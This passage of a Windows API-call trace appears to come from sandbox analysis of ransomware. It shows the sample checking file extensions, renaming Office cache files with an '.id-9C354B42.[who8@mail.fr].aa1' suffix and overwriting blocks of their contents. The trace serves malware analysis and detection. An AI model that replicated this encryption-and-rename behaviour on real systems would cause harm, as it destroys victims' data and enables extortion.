Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0210.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0210.429] lstrlenW (lpString=".doc") returned 4 [0210.429] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0210.430] lstrlenW (lpString=".docx") returned 5 [0210.430] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0210.430] lstrlenW (lpString=".pdf") returned 4 [0210.430] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0210.430] lstrlenW (lpString=".xls") returned 4 [0210.430] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0210.430] lstrlenW (lpString=".xlsx") returned 5 [0210.430] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0210.430] lstrlenW (lpString=".ppt") returned 4 [0210.430] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0210.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0210.430] lstrlenW (lpString=".zip") returned 4 [0210.430] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0210.430] lstrlenW (lpString=".rar") returned 4 [0210.430] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0210.430] lstrlenW (lpString=".bz2") returned 4 [0210.430] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0210.430] lstrlenW (lpString=".7z") returned 3 [0210.430] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0210.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0210.430] lstrlenW (lpString=".dbf") returned 4 [0210.430] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0210.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0210.430] lstrlenW (lpString=".1cd") returned 4 [0210.430] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0210.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0210.430] lstrlenW (lpString=".jpg") returned 4 [0210.430] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0210.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0210.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0210.431] lstrlenW (lpString=".doc") returned 4 [0210.431] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0210.431] lstrlenW (lpString=".docx") returned 5 [0210.431] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0210.431] lstrlenW (lpString=".pdf") returned 4 [0210.431] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0210.431] lstrlenW (lpString=".xls") returned 4 [0210.431] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0210.431] lstrlenW (lpString=".xlsx") returned 5 [0210.431] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0210.431] lstrlenW (lpString=".ppt") returned 4 [0210.431] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0210.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0210.431] lstrlenW (lpString=".zip") returned 4 [0210.431] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0210.431] lstrlenW (lpString=".rar") returned 4 [0210.431] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0210.431] lstrlenW (lpString=".bz2") returned 4 [0210.431] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0210.431] lstrlenW (lpString=".7z") returned 3 [0210.431] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0210.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0210.431] lstrlenW (lpString=".dbf") returned 4 [0210.432] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0210.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0210.432] lstrlenW (lpString=".1cd") returned 4 [0210.432] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0210.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0210.432] lstrlenW (lpString=".jpg") returned 4 [0210.432] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0210.432] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0210.432] lstrlenW (lpString="VisioLR.cab") returned 11 [0210.432] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0210.432] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=50823389) returned 1 [0210.432] CloseHandle (hObject=0x170) returned 1 [0210.432] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab")) returned 0x2020 [0210.432] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0210.433] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0210.433] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0210.433] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0x0) returned 1 [0210.433] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0210.433] ReadFile (in: hFile=0x170, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.292] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0211.293] ReadFile (in: hFile=0x170, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.897] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0211.897] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0211.898] ReadFile (in: hFile=0x170, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0212.064] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.064] WriteFile (in: hFile=0x170, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2b9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0212.084] SetEndOfFile (hFile=0x170) returned 1 [0213.707] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f53090 [0213.713] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0213.714] WriteFile (in: hFile=0x170, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.718] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0213.718] WriteFile (in: hFile=0x170, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.719] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0213.719] WriteFile (in: hFile=0x170, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0213.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f53090 | out: hHeap=0x4f0000) returned 1 [0213.721] CloseHandle (hObject=0x170) returned 1 [0213.722] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0213.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0213.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0213.722] lstrlenW (lpString=".doc") returned 4 [0213.722] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0213.722] lstrlenW (lpString=".docx") returned 5 [0213.722] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0213.722] lstrlenW (lpString=".pdf") returned 4 [0213.722] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0213.722] lstrlenW (lpString=".xls") returned 4 [0213.722] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0213.722] lstrlenW (lpString=".xlsx") returned 5 [0213.722] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0213.722] lstrlenW (lpString=".ppt") returned 4 [0213.722] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0213.722] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0213.722] lstrlenW (lpString=".zip") returned 4 [0213.722] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0213.722] lstrlenW (lpString=".rar") returned 4 [0213.722] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0213.722] lstrlenW (lpString=".bz2") returned 4 [0213.722] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0213.722] lstrlenW (lpString=".7z") returned 3 [0213.723] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0213.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0213.723] lstrlenW (lpString=".dbf") returned 4 [0213.723] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0213.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0213.723] lstrlenW (lpString=".1cd") returned 4 [0213.723] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0213.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0213.723] lstrlenW (lpString=".jpg") returned 4 [0213.723] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0213.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0213.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0213.723] lstrlenW (lpString=".doc") returned 4 [0213.723] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0213.723] lstrlenW (lpString=".docx") returned 5 [0213.723] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0213.723] lstrlenW (lpString=".pdf") returned 4 [0213.723] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0213.723] lstrlenW (lpString=".xls") returned 4 [0213.723] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0213.723] lstrlenW (lpString=".xlsx") returned 5 [0213.723] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0213.723] lstrlenW (lpString=".ppt") returned 4 [0213.723] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0213.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0213.723] lstrlenW (lpString=".zip") returned 4 [0213.723] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0213.723] lstrlenW (lpString=".rar") returned 4 [0213.723] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0213.724] lstrlenW (lpString=".bz2") returned 4 [0213.724] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0213.724] lstrlenW (lpString=".7z") returned 3 [0213.724] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0213.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0213.724] lstrlenW (lpString=".dbf") returned 4 [0213.724] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0213.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0213.724] lstrlenW (lpString=".1cd") returned 4 [0213.724] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0213.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0213.724] lstrlenW (lpString=".jpg") returned 4 [0213.724] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0213.724] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0213.724] lstrlenW (lpString="ProjLR.cab") returned 10 [0213.724] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0213.933] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=8265165) returned 1 [0213.933] CloseHandle (hObject=0x170) returned 1 [0213.933] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020 [0213.933] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0213.934] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0213.935] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0213.935] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0x0) returned 1 [0213.935] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0213.935] ReadFile (in: hFile=0x170, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.984] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0213.984] ReadFile (in: hFile=0x170, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.008] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0214.008] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0214.008] ReadFile (in: hFile=0x170, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.083] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.083] WriteFile (in: hFile=0x170, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2b9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0214.294] SetEndOfFile (hFile=0x170) returned 1 [0214.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fd40a8 [0214.298] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.298] WriteFile (in: hFile=0x170, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.300] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.300] WriteFile (in: hFile=0x170, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.302] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.302] WriteFile (in: hFile=0x170, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fd40a8 | out: hHeap=0x4f0000) returned 1 [0214.647] CloseHandle (hObject=0x170) returned 1 [0214.648] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0214.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0214.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0214.648] lstrlenW (lpString=".doc") returned 4 [0214.648] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0214.648] lstrlenW (lpString=".docx") returned 5 [0214.648] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0214.648] lstrlenW (lpString=".pdf") returned 4 [0214.648] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0214.648] lstrlenW (lpString=".xls") returned 4 [0214.648] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0214.648] lstrlenW (lpString=".xlsx") returned 5 [0214.648] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0214.648] lstrlenW (lpString=".ppt") returned 4 [0214.648] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0214.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0214.649] lstrlenW (lpString=".zip") returned 4 [0214.649] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0214.649] lstrlenW (lpString=".rar") returned 4 [0214.649] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0214.649] lstrlenW (lpString=".bz2") returned 4 [0214.649] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0214.649] lstrlenW (lpString=".7z") returned 3 [0214.649] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0214.649] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0214.649] lstrlenW (lpString=".dbf") returned 4 [0214.649] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0214.649] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0214.649] lstrlenW (lpString=".1cd") returned 4 [0214.649] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0214.649] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0214.649] lstrlenW (lpString=".jpg") returned 4 [0214.649] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0214.649] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0214.649] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0214.649] lstrlenW (lpString=".doc") returned 4 [0214.649] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0214.649] lstrlenW (lpString=".docx") returned 5 [0214.649] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0214.649] lstrlenW (lpString=".pdf") returned 4 [0214.649] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0214.649] lstrlenW (lpString=".xls") returned 4 [0214.649] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0214.650] lstrlenW (lpString=".xlsx") returned 5 [0214.650] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0214.650] lstrlenW (lpString=".ppt") returned 4 [0214.650] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0214.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0214.650] lstrlenW (lpString=".zip") returned 4 [0214.650] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0214.650] lstrlenW (lpString=".rar") returned 4 [0214.650] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0214.650] lstrlenW (lpString=".bz2") returned 4 [0214.650] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0214.650] lstrlenW (lpString=".7z") returned 3 [0214.650] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0214.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0214.650] lstrlenW (lpString=".dbf") returned 4 [0214.650] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0214.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0214.650] lstrlenW (lpString=".1cd") returned 4 [0214.650] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0214.650] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0214.650] lstrlenW (lpString=".jpg") returned 4 [0214.650] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0214.650] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0214.650] lstrlenW (lpString="GrooveMUI.msi") returned 13 [0214.651] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all 